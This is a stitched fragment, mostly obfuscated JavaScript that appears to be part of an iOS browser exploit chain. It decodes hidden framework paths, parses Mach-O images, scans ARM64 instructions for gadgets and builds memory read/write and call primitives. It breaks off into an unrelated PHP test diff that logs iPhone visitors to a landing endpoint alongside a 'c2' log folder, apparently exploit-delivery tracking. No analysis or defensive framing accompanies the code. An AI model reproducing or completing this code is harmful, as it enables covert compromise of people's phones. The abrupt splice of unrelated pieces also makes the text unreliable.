82);}).join(""))),p=It.Ma(e,r,s,r.Za,y,0x0n,0x0n,0x0n),[h,K]=t.Is(32),[S,f]=t.Is(48),_=(n,o,c,l,a,u)=>(t.zi(K+0x0n,f),t.sr(K+0x8n,1),t.sr(K+0xcn,1),t.zi(f+0x0n,0x0n),t.zi(f+0x8n,l),t.zi(f+0x10n,a),t.zi(f+0x18n,u),t.zi(f+0x20n,o),t.sr(f+0x28n,1),It.Ma(e,r,s,p,K,n,c));if(_(m,Ct(p),0x0n,0x0n,0x0n,0x0n)!==p)throw new Error("");return{Xa:u,Ha:(t,n,o)=>_(m,Ct(t),0xffffffffffffn&n,1n,n>>48n,o),cc:(t,n,o,c)=>{if(Ct(t)===t)throw new Error("");return It.Ma(e,r,s,t,n,o,c)}}}();this.od=t.Ha,this.Wa=t.cc,this.tc=(t,n,o)=>{const c=t.Nt(),e=n.Nt(),l=o.Nt();return T.Vt.ot(this.Wa(c,e,l,0n))},this.cc=(t,n,o,c)=>{const e=t.Nt(),l=n.Nt(),r=o.Nt(),s=c.Nt();return T.Vt.ot(this.Wa(e,l,r,s))},this.dd=T.Vt.ot(t.Xa.da),this.ld=T.Vt.ot(t.Xa.re),this.bd=T.Vt.ot(t.Xa.ha),this.ad=T.Vt.ot(t.Xa.wa),this.sc=!0}}const ut=(()=>{const t={Va:16,Ja:(1883535414 ^ 1883535742),Pa:(927100469 ^ 927100909),Ra:(1968592999 ^ 1968593511),Ua:(843936591 ^ 843936071),Qa:(1212957997 ^ 1212958645),Oa:8,Ya:0,Ba:4,va:12,Fa:16,ja:20,qa:3,$a:32,tu:48,nu:16,ou:44,cu:48,eu:56,lu:(930368844 ^ 930368828),ru:8,su:24,au:16,uu:(1685471824 ^ 1685471968),iu:88,du:96,bu:24,Cu:16,Iu:40,mu:28,gu:24,yu:8,pu:(1600870728 ^ 1600870824),hu:8,Ku:8,Su:16,fu:16,_u:32,Lu:64,Xu:16,ku:56,xu:0,Tu:(1450390579 ^ 1450390691),Gu:(1932747862 ^ 1932747982),Mu:(1885564009 ^ 1885564097),wu:0,Du:8,Au:0,Zu:8,zu:(963925301 ^ 963925437),Nu:8,Hu:(1917805919 ^ 1917805671)};return P.Kn.Tn>=(928541232 ^ 928651424)&&(t.Iu=40),t})(),bt=new Proxy(ut,{get(t,n){if(n in t)return t[n];throw new Error("")}});function Ct(t){return t&j(u)}class nt{constructor(t){this.images=t}tl(...t){for(const n of t)for(const t of this.images)if(-1!==t.path.indexOf(n))return null===t.ol&&(t.ol=tt.init(t.ll)),t.ol;throw new Error("")}static Wu(t){const n=tt.Vu(t),o=(()=>{const t=n.sl(([38, 38, 45, 60, 33, 45].map(x => {return String.fromCharCode(x ^ 121);}).join("")));if(null===t)throw new Error("");return{Jo:n.al-t.cl,fl:n.al-t._l}})(),c=P.Kn.Wn.rr(o.fl+0x1c0n),e=P.Kn.Wn.rr(o.fl+0x1c4n),l=[],r=o.fl+j(c);for(let t=0;t{let n=t-t%0x1000n;for(;(4294967296 + (1211319670 ^ -1226915911))!==P.Kn.Wn.rr(n);)n-=0x1000n;return n})();return tt.init(n)}static init(t){const n=P.Kn.Wn.rr(t+j(16)),o=[];let c=null,e=null,l=32;for(let r=0;r{const n=P.Kn.Wn.rr(t+j(l)+j(64)),o=new Array(n).fill(null);for(const n in o)o[n]={name:P.Kn.Wn.br(t+j(80*n)+j(l+72),16),cl:P.Kn.Wn.Ci(t+j(80*n)+j(l+72)+0x20n),ml:P.Kn.Wn.Ci(t+j(80*n)+j(l+72)+0x28n),_l:P.Kn.Wn.Ci(t+j(80*n)+j(l+72)+0x30n),bl:void 0};return o})(),xl(t){for(const n of this.yl)if(n.name===t)return n;return null}});if(([42, 42, 33, 48, 45, 33].map(x => {return String.fromCharCode(x ^ 117);}).join(""))===n.Re){if(null!==e)throw new Error("");e=t-n.cl}o.push(n);break}case (4294967296 + (1767467074 ^ -380016544)):case (4294967296 + (1431187779 ^ -716295824)):if(null!==c)throw new Error("");c={_e:P.Kn.Wn.rr(t+j(l)+j((4294967296 + (1768311406 ^ -379172276))===n?40:8)),size:P.Kn.Wn.rr(t+j(l)+j((4294967296 + (1197683298 ^ -949800384))===n?44:12))}}l+=r}const r={},s=[];if(null===e)throw new Error("");for(const t of o){t.bl=t.cl+e;for(const n of t.yl)n.bl=t.cl+e;t.Re.length>0?r[t.Re]=t:s.push(t)}return new tt(t,r,s,c)}constructor(t,n,o,c){this.al=t,this.Al=n,this.Sl=o,this.Cl=(()=>{if(null===c)return null;const t=n.__LINKEDIT;if(void 0===t)return null;const o=t.bl+j(c._e)-t._l,e=new Uint32Array(c.size+3>>2);for(let t=0;t0&&t.startsWith(o+e)){o+=e,n.fe(l),c=!1;break}}}return null}constructor(t){this.Tl=t}}class tr{constructor(t){this.Fl=new Uint8Array(t),this.en=new DataView(t),this.Pl=0}pl(t){this.Pl+=t}fe(t){this.Pl=t}gl(){const t=this.Fl[this.Pl];return this.Pl+=1,t}Il(t,n=(1345480025 ^ 1345479769)){let o="";for(let c=0;c {return String.fromCharCode(x ^ 109);}).join("")),([40, 40, 54, 34, 35, 63, 40, 52, 56, 57, 36, 35].map(x => {return String.fromCharCode(x ^ 119);}).join("")),([21, 21, 14, 11, 30, 11].map(x => {return String.fromCharCode(x ^ 74);}).join("")),([13, 13, 22, 19, 6, 19, 13, 22, 27, 0, 6, 11].map(x => {return String.fromCharCode(x ^ 82);}).join(""))]){const c=t.Ll.sl(o);if(null!==c)for(let t=0x0n;t {return String.fromCharCode(x ^ 54);}).join("")));if(null===n)return null;const o=t.Ol;for(const c of[([58, 58, 36, 48, 49, 45].map(x => {return String.fromCharCode(x ^ 101);}).join("")),([105, 105, 119, 99, 98, 126, 105, 117, 121, 120, 101, 98].map(x => {return String.fromCharCode(x ^ 54);}).join("")),([40, 40, 51, 54, 35, 54].map(x => {return String.fromCharCode(x ^ 119);}).join("")),([20, 20, 15, 10, 31, 10, 20, 15, 2, 25, 31, 18].map(x => {return String.fromCharCode(x ^ 75);}).join(""))]){const e=t.ol.sl(c);if(null!==e)for(let t=0x0n;t {return String.fromCharCode(x ^ 86);}).join("")));if(null===c)return null;const e=c.bl;let l=null!==o?o-c.bl:0x0n;for(;l>6}Nl(t,n,o=!0){let c=0;const e=[];for(const t of n)0x90000000n===(0x9f000000n&j(t))?(e.push(0x9f00001fn),c+=1):c>0&&0xf9400000n===(0xffc00000n&j(t))?e.push(0xffc003ffn):0x14000000n===(0xfc000000n&j(t))||0x94000000n===(0xfc000000n&j(t))?e.push(0xfc000000n):e.push(0xffffffffn);e.length!==n.length&&M();let l=t;for(const t in n){const c=P.Kn.Wn.rr(l);if((j(n[t])&j(e[t]))!=(j(c)&j(e[t])))return!1;if(!0===o&&0x14000000n===(0xfc000000n&j(c))){const t=4*this.Hl(c);l+=j(t)}else l+=0x4n}return!0}Ml(t,n=(944264819 ^ 944264563)){const o=[],c=new Array(32).fill(null);let e=!1;for(let l=0;l>13n,o=r>>29n&3n,e=0x1fn&r,l=BigInt.asIntN(32,(t<<2n|o)<<12n);c[e]=n-n%0x1000n+l}else if(0xf9400000n===(0xffc00000n&r)){const t=r>>5n&0x1fn,n=r>>10n&0xfffn,e=c[t];null!==e&&(o.push(e+0x8n*n),c[t]=null)}}if(!e)throw new Error("");return o}}const It={Ga(t){const n=t[Symbol.iterator](),o=(()=>{const t=P.Kn.Wn.tA(n);return P.Kn.Wn.Ci(t+j(bt.Va))})()+j(bt.Ja),c=P.Kn.Wn.Ci(o+j(bt.eu)),e=P.Kn.Wn.Ci(c+j(bt._u)),l=nt.Wu(Ct(e)),r=new or(l),s=r.Ul({Dl:([17, 54, 35, 34, 29, 15, 22, 124, 9, 43, 58, 30, 59, 44, 34, 39, 45, 7, 42].map(x => {return String.fromCharCode(x ^ 78);}).join("")),vl:l.tl(([43, 46, 37, 63, 42, 43, 117, 105, 117, 105, 35, 62, 43, 46, 37].map(x => {return String.fromCharCode(x ^ 71);}).join(""))),Ll:l.tl(([40, 45, 38, 60, 41, 40, 118, 106, 118, 106, 32, 61, 40, 45, 38].map(x => {return String.fromCharCode(x ^ 68);}).join("")))});if(null===s)throw new Error("");let a;a=[(4294967296 + (1735029849 ^ -1301719258)),(4294967296 + (1716352821 ^ -806143807)),(4294967296 + (1463371593 ^ -29868876)),(4294967296 + (1665676621 ^ -230132048)),(4294967296 + (1987661613 ^ -596030242)),(4294967296 + (1749579626 ^ -1161267350)),(1749496677 ^ 986133316),(4294967296 + (1349531225 ^ -998506405)),(4294967296 + (1513650797 ^ -298288275)),(4294967296 + (1598442057 ^ -179942979)),(4294967296 + (1232227152 ^ -480163663)),(4294967296 + (876106609 ^ -1596560632)),(4294967296 + (1313225037 ^ -465159490)),(4294967296 + (1714438518 ^ -870038890)),(4294967296 + (1765303088 ^ -46901565)),(4294967296 + (1783786610 ^ -1069453422)),(4294967296 + (1868068936 ^ -971439179)),(4294967296 + (1395669353 ^ -67996003)),(4294967296 + (1365202509 ^ -2030020174))];const u=r.Bl({Dl:([29, 38, 46, 36, 33, 44, 29, 37, 46, 45, 32, 35, 46, 46, 45, 45, 41, 55, 50].map(x => {return String.fromCharCode(x ^ 66);}).join("")),Ol:a,ol:l.tl(([122, 6, 44, 38, 33, 48, 56, 122, 25, 60, 55, 39, 52, 39, 44, 122, 5, 39, 60, 35, 52, 33, 48, 19, 39, 52, 56, 48, 34, 58, 39, 62, 38, 122, 20, 54, 33, 60, 58, 59, 30, 60, 33, 123, 51, 39, 52, 56, 48, 34, 58, 39, 62, 122, 20, 54, 33, 60, 58, 59, 30, 60, 33].map(x => {return String.fromCharCode(x ^ 85);}).join("")),([73, 53, 31, 21, 18, 3, 11, 73, 42, 15, 4, 20, 7, 20, 31, 73, 54, 20, 15, 16, 7, 18, 3, 32, 20, 7, 11, 3, 17, 9, 20, 13, 21, 73, 39, 5, 18, 15, 9, 8, 45, 15, 18, 72, 0, 20, 7, 11, 3, 17, 9, 20, 13, 73, 48, 3, 20, 21, 15, 9, 8, 21, 73, 39, 73, 39, 5, 18, 15, 9, 8, 45, 15, 18].map(x => {return String.fromCharCode(x ^ 102);}).join("")))});if(null===u)throw new Error("");const i=r.Bl({Dl:([43, 21, 1, 0, 27, 28, 29, 26, 0, 17, 6, 43, 29, 0, 17, 6, 21, 0, 27, 6, 43, 17, 26, 16].map(x => {return String.fromCharCode(x ^ 116);}).join("")),Ol:[(4294967296 + (1966624114 ^ -1053274701)),(4294967296 + (1700162885 ^ -1676247705)),(4294967296 + (1516725574 ^ -295213628)),(4294967296 + (828010563 ^ -937790365)),(4294967296 + (1346646383 ^ -1459345074)),(4294967296 + (1917405236 ^ -1537851285))],ol:l.tl(([95, 35, 9, 3, 4, 21, 29, 95, 60, 25, 18, 2, 17, 2, 9, 95, 54, 2, 17, 29, 21, 7, 31, 2, 27, 3, 95, 51, 31, 2, 21, 55, 2, 17, 0, 24, 25, 19, 3, 94, 22, 2, 17, 29, 21, 7, 31, 2, 27, 95, 51, 31, 2, 21, 55, 2, 17, 0, 24, 25, 19, 3].map(x => {return String.fromCharCode(x ^ 112);}).join("")),([76, 48, 26, 16, 23, 6, 14, 76, 47, 10, 1, 17, 2, 17, 26, 76, 37, 17, 2, 14, 6, 20, 12, 17, 8, 16, 76, 32, 12, 17, 6, 36, 17, 2, 19, 11, 10, 0, 16, 77, 5, 17, 2, 14, 6, 20, 12, 17, 8, 76, 53, 6, 17, 16, 10, 12, 13, 16, 76, 34, 76, 32, 12, 17, 6, 36, 17, 2, 19, 11, 10, 0, 16].map(x => {return String.fromCharCode(x ^ 99);}).join("")))});if(null===i)throw new Error("");const d=r.Bl({Dl:([74, 12, 3, 2, 3, 20, 0, 2, 24, 30, 77, 3, 12, 0, 8, 30, 29, 12, 14, 8, 74, 87, 87, 15, 8, 10, 4, 3, 69, 50, 50, 4, 3, 25, 91, 89, 68].map(x => {return String.fromCharCode(x ^ 109);}).join("")),Ol:[(4294967296 + (1668180080 ^ -1708241800)),(4294967296 + (761934453 ^ -1721093443)),(4294967296 + (2001489481 ^ -1911797942)),(4294967296 + (828854871 ^ -2056826156)),(4294967296 + (1213486961 ^ -1324068239)),(4294967296 + (1733309809 ^ -1643107213)),(4294967296 + (1462581356 ^ -2127417325)),(4294967296 + (925723749 ^ -512594011))],ol:l.tl(([67, 63, 21, 31, 24, 9, 1, 67, 32, 5, 14, 30, 13, 30, 21, 67, 42, 30, 13, 1, 9, 27, 3, 30, 7, 31, 67, 47, 3, 30, 9, 43, 30, 13, 28, 4, 5, 15, 31, 66, 10, 30, 13, 1, 9, 27, 3, 30, 7, 67, 47, 3, 30, 9, 43, 30, 13, 28, 4, 5, 15, 31].map(x => {return String.fromCharCode(x ^ 108);}).join("")),([102, 26, 48, 58, 61, 44, 36, 102, 5, 32, 43, 59, 40, 59, 48, 102, 15, 59, 40, 36, 44, 62, 38, 59, 34, 58, 102, 10, 38, 59, 44, 14, 59, 40, 57, 33, 32, 42, 58, 103, 47, 59, 40, 36, 44, 62, 38, 59, 34, 102, 31, 44, 59, 58, 32, 38, 39, 58, 102, 8, 102, 10, 38, 59, 44, 14, 59, 40, 57, 33, 32, 42, 58].map(x => {return String.fromCharCode(x ^ 73);}).join("")))});if(null===d)throw new Error("");const b=r.Bl({Dl:([4, 15, 4, 21, 62, 0, 13, 13, 14, 2, 0, 21, 4, 62, 17, 0, 2, 10, 4, 21, 62, 17, 0, 24, 13, 14, 0, 5, 62, 5, 4, 7, 0, 20, 13, 21].map(x => {return String.fromCharCode(x ^ 97);}).join("")),Ol:[(4294967296 + (1765303663 ^ -1136966128)),(4294967296 + (1768505976 ^ -1059648116)),(4294967296 + (1799833432 ^ -1035584347)),(4294967296 + (1514693955 ^ -884463938)),(4294967296 + (896749101 ^ -1619833378)),(4294967296 + (757942104 ^ -1658693872)),(4294967296 + (1397974317 ^ -1441658843)),(4294967296 + (1499812716 ^ -211529588)),(4294967296 + (1819174713 ^ -1169068506)),(4294967296 + (1517243726 ^ -261140806)),(4294967296 + (1111971659 ^ -146319413)),(4294967296 + (1986225265 ^ -965970887)),(4294967296 + (2003786074 ^ -1909576622)),(4294967296 + (963400264 ^ -279749801)),(4294967296 + (1900378743 ^ -2008715261)),(4294967296 + (1365663603 ^ -131652466)),(4294967296 + (1768371512 ^ -1046119732)),(4294967296 + (1248538964 ^ -1674297685))],ol:l.tl(([77, 49, 27, 17, 22, 7, 15, 77, 46, 11, 0, 16, 3, 16, 27, 77, 50, 16, 11, 20, 3, 22, 7, 36, 16, 3, 15, 7, 21, 13, 16, 9, 17, 77, 48, 39, 49, 27, 12, 1, 76, 4, 16, 3, 15, 7, 21, 13, 16, 9, 77, 48, 39, 49, 27, 12, 1].map(x => {return String.fromCharCode(x ^ 98);}).join("")),([23, 107, 65, 75, 76, 93, 85, 23, 116, 81, 90, 74, 89, 74, 65, 23, 104, 74, 81, 78, 89, 76, 93, 126, 74, 89, 85, 93, 79, 87, 74, 83, 75, 23, 106, 125, 107, 65, 86, 91, 22, 94, 74, 89, 85, 93, 79, 87, 74, 83, 23, 110, 93, 74, 75, 81, 87, 86, 75, 23, 121, 23, 106, 125, 107, 65, 86, 91].map(x => {return String.fromCharCode(x ^ 56);}).join("")))});if(null===b)throw new Error("");const C=(()=>{const t=r.Ml(Ct(b),(1848864865 ^ 1848865361));if(2!==t.length)throw new Error("");return{Pu:t[0],Ru:t[1]}})(),[I,m]=(()=>{const t=l.tl(([29, 24, 19, 21, 8, 29, 21, 95, 21, 8, 29, 24, 19].map(x => {return String.fromCharCode(x ^ 113);}).join(""))).sl(([19, 19, 8, 13, 24, 13, 19, 8, 5, 30, 24, 21].map(x => {return String.fromCharCode(x ^ 76);}).join("")));if(null===t)return null;const n=t.xl(([13, 13, 54, 43, 62, 54, 102].map(x => {return String.fromCharCode(x ^ 82);}).join("")));if(null===n)return null;const o=P.Kn.Wn.Ci(n.bl+8n),c=P.Kn.Wn.Ci(Ct(o)),e=P.Kn.Wn.Ci(Ct(c));return[o,tt.Vu(Ct(e))]})();if(null===m)throw new Error("");const g=(()=>{const t=[null],n=[(4294967296 + (1130982211 ^ -1771419588)),(4294967296 + (1129002297 ^ -353087804)),(4294967296 + (1966242122 ^ -466453833)),(4294967296 + (1784891448 ^ -1826404303)),(4294967296 + (2052477509 ^ -860990516)),(4294967296 + (1984843636 ^ -1522626980)),(4294967296 + (1349671510 ^ -2095913099)),(4294967296 + (1163159620 ^ -1775918752)),(4294967296 + (1867925556 ^ -984331308)),(4294967296 + (1264212072 ^ -514696310)),(4294967296 + (2018142552 ^ -796192091)),(4294967296 + (894257203 ^ -531731508)),(4294967296 + (1312387427 ^ -2077788493)),(4294967296 + (1918398580 ^ -995594204)),(4294967296 + (1916357743 ^ -1509834161))];let o;for(o=P.Kn.Tn>=(1400074058 ^ 1399922138)?[(4294967296 + (1127371863 ^ -382576730)),(4294967296 + (1431514437 ^ -10801483)),(4294967296 + (1463317623 ^ -2110040728)),(1681012304 ^ 1882338908),(4294967296 + (2018337329 ^ -766680640)),(4294967296 + (1601859654 ^ -177048650)),(4294967296 + (1701867896 ^ -1078887575)),(1462777442 ^ 1127233130),(4294967296 + (1380871767 ^ -129077850)),(4294967296 + (1329095013 ^ -449813867)),(4294967296 + (828978511 ^ -462810096)),(1783717722 ^ 2119262046),(4294967296 + (1785682554 ^ -1066444405)),(4294967296 + (963731766 ^ -1820761402)),(4294967296 + (1597399341 ^ -2047381700)),(4294967296 + (860320353 ^ -1722388095)),(4294967296 + (1398040137 ^ -2062850679))]:[(4294967296 + (1434084429 ^ -512072083)),(962224973 ^ 324624549),(4294967296 + (1834304325 ^ -570065340)),(1297113453 ^ 1011900722),(4294967296 + (1180781926 ^ -589280146)),(812469364 ^ 1097679083),(1919954227 ^ 644886395),(1499031374 ^ 1935500478),(4294967296 + (1446407220 ^ -1489608149)),(4294967296 + (1702127961 ^ -1311927)),(4294967296 + (930575704 ^ -1485343415)),(4294967296 + (1114658102 ^ -750016761)),(4294967296 + (1684427865 ^ -589943191)),(1782076229 ^ 2050511700),(4294967296 + (1901687609 ^ -95850231)),(4294967296 + (875917384 ^ -500534712)),(4294967296 + (1179733871 ^ -1668264337)),(4294967296 + (1198616646 ^ -1859226746)),(4294967296 + (1868001402 ^ -1248429702)),(4294967296 + (1817333875 ^ -1173531725)),(4294967296 + (910447688 ^ -326807224)),(4294967296 + (1498966134 ^ -1895339082)),(4294967296 + (959932775 ^ -470391705)),(4294967296 + (1951488106 ^ -1576117334))];t.length>0;){const c=r.Kl(m,n,t.pop());if(null===c)continue;t.push(c+0x4n);const e=r.zl(c,4*n.length+12);for(const t in e)if(2!==e.length)continue;if(null!==r.Rl(e[0],o,(1999778639 ^ 1999778383)))return c}return null})();if(null===g)throw new Error("");const{ua:y,ma:p}=(()=>{let t,n;P.Kn.Tn>=(1970419822 ^ 1970293502)?(n=0x10n,t=[(4294967296 + (1969840749 ^ -546741860)),(4294967296 + (1431915576 ^ -11448376)),(4294967296 + (1232300145 ^ -1670362770)),(1144214650 ^ 1345541238),(4294967296 + (1699049796 ^ -817532235)),(4294967296 + (1349276481 ^ -94089039)),(4294967296 + (1314538326 ^ -1801762489)),(1816549228 ^ 2017875812),(4294967296 + (1817400169 ^ -967618408)),(4294967296 + (1482185325 ^ -229615203)),(4294967296 + (1416049773 ^ -2124147406)),(1097879885 ^ 1433424201),(4294967296 + (1213353800 ^ -497922887)),(4294967296 + (1836210745 ^ -948282935)),(4294967296 + (1181239628 ^ -1666627747)),(4294967296 + (860828756 ^ -1721878604)),(4294967296 + (895964500 ^ -482847084))]):(n=0x8n,t=[(4294967296 + (1431004521 ^ -1886755735)),(4294967296 + (1699629123 ^ -1290712189)),(4294967296 + (1095194980 ^ -1685696412)),(4294967296 + (892622435 ^ -479504989)),(4294967296 + (859912532 ^ -377471916)),(4294967296 + (1884711223 ^ -1509332233)),(4294967296 + (1450134834 ^ -1934737358)),(4294967296 + (878138952 ^ -502770296))]);let o=null;const c=n=>r.Kl(m,t,n);if(P.Kn.Tn>=(1748578660 ^ 1748714484))for(;;){if(o=c(o),null===o)return null;if(o!==g)break;o+=j(0x4n*t.length)}else o=c(o);if(null===o)return null;return{ua:o-0x40n,ma:{da:o,ha:o+1n*n,re:o+2n*n,wa:o+3n*n}}})();if(null===y)throw new Error("");if(null===p.da)throw new Error("");if(null===p.ha)throw new Error("");if(null===p.re)throw new Error("");if(null===p.wa)throw new Error("");const h=(()=>{const t=l.tl(([31, 99, 73, 67, 68, 85, 93, 31, 124, 89, 82, 66, 81, 66, 73, 31, 118, 66, 81, 93, 85, 71, 95, 66, 91, 67, 31, 115, 95, 66, 85, 118, 95, 69, 94, 84, 81, 68, 89, 95, 94, 30, 86, 66, 81, 93, 85, 71, 95, 66, 91, 31, 115, 95, 66, 85, 118, 95, 69, 94, 84, 81, 68, 89, 95, 94].map(x => {return String.fromCharCode(x ^ 48);}).join("")),([69, 57, 19, 25, 30, 15, 7, 69, 38, 3, 8, 24, 11, 24, 19, 69, 44, 24, 11, 7, 15, 29, 5, 24, 1, 25, 69, 41, 5, 24, 15, 44, 5, 31, 4, 14, 11, 30, 3, 5, 4, 68, 12, 24, 11, 7, 15, 29, 5, 24, 1, 69, 60, 15, 24, 25, 3, 5, 4, 25, 69, 43, 69, 41, 5, 24, 15, 44, 5, 31, 4, 14, 11, 30, 3, 5, 4].map(x => {return String.fromCharCode(x ^ 106);}).join(""))).kl(([11, 23, 18, 6, 33, 58, 24, 59, 59, 36, 27, 54, 39, 49, 38, 34, 49, 38, 23, 38, 49, 53, 32, 49, 3, 61, 32, 60, 28, 53, 58, 48, 56, 49, 38].map(x => {return String.fromCharCode(x ^ 84);}).join("")));if(null===t)return null;const n=r.Ml(t,(1346647925 ^ 1346648053));return 4!==n.length?null:{Uu:t,za:n[1],Na:n[2]}})();if(null===h)throw new Error("");return{Ka:{Da:s,Za:u,Qu:null,Ou:i,Yu:d,Bu:b},Ju:l,La:C,vu:I,Eu:m,ga:h,Fu:g,ua:y,Xa:{da:p.da,ha:p.ha,re:p.re,wa:p.wa}}},ju:null,Ma(t,n,o,c,e,l,r){const s=t[Symbol.iterator](),a=(()=>{const t=P.Kn.Wn.tA(s);return P.Kn.Wn.Ci(t+j(bt.Va))})(),u=a+j(bt.Ja),i=P.Kn.Wn.Ci(a+j(bt.Pa)),d=P.Kn.Wn.Ci(a+j(bt.Ua)),b=P.Kn.Wn.Ci(a+j(bt.Ra)),C=P.Kn.Wn.Ci(u+j(bt.eu));null===It.ju&&(It.ju=P.Kn.Wn.Ms(bt.lu));const I=It.ju,m=P.Kn.Wn.Ci(i+j(bt.Oa));{const t=P.Kn.Wn.rr(m+j(bt.Ya)),n=P.Kn.Wn.rr(m+j(bt.Ba)),o=2*(bt.ru+P.Kn.Wn.rr(m+j(n))),c=bt.su+o*t;if(c%4!=0)throw new Error("");const[e,l]=P.Kn.Wn.Is(o);for(let t=0;tassertStringNotContainsString($marker, (string) file_get_contents($c2Log)); } } + + #[Test] + public function iptj_logs_request_to_xxbb_folder(): void + { + Cache::flush(); + $xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log'); + $c2Log = public_path('log/c2/'.date('Ymd').'.log'); + @unlink($xxbbLog); + + $this->call('POST', '/api/iptj', [], [], [], [ + 'CONTENT_TYPE' => 'application/json', + 'HTTP_USER_AGENT' => 'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X)', + 'HTTP_HOST' => 'landing.example', + 'HTTP_CF_CONNECTING_IP' => '2001:db8::9', + 'HTTP_X_FORWARDED_FOR' => '2001:db8::9', + 'REMOTE_ADDR' => '104.16.1.1', + ], json_encode([ + 'channelCode' => '56885688', + 'deviceVersion' => 'iOS 16.6', + 'domain' => 'xxbb.tv', + 'sessionId' => '11111111-2222-4333-8444-555555555555', + ]))->assertOk(); + + $this->assertFileExists($xxbbLog); + $xxbbBody = (string) file_get_contents($xxbbLog); + $this->assertStringContainsString('/api/iptj', $xxbbBody); + $this->assertStringContainsString('56885688', $xxbbBody); + $this->assertStringContainsString('2001:db8::9', $xxbbBody); + $this->assertStringContainsString('104.16.1.1', $xxbbBody); + $this->assertStringContainsString('"recorded":true', $xxbbBody); + if (is_file($c2Log)) { + $this->assertStringNotContainsString('56885688', (string) file_get_contents($c2Log)); + } + } }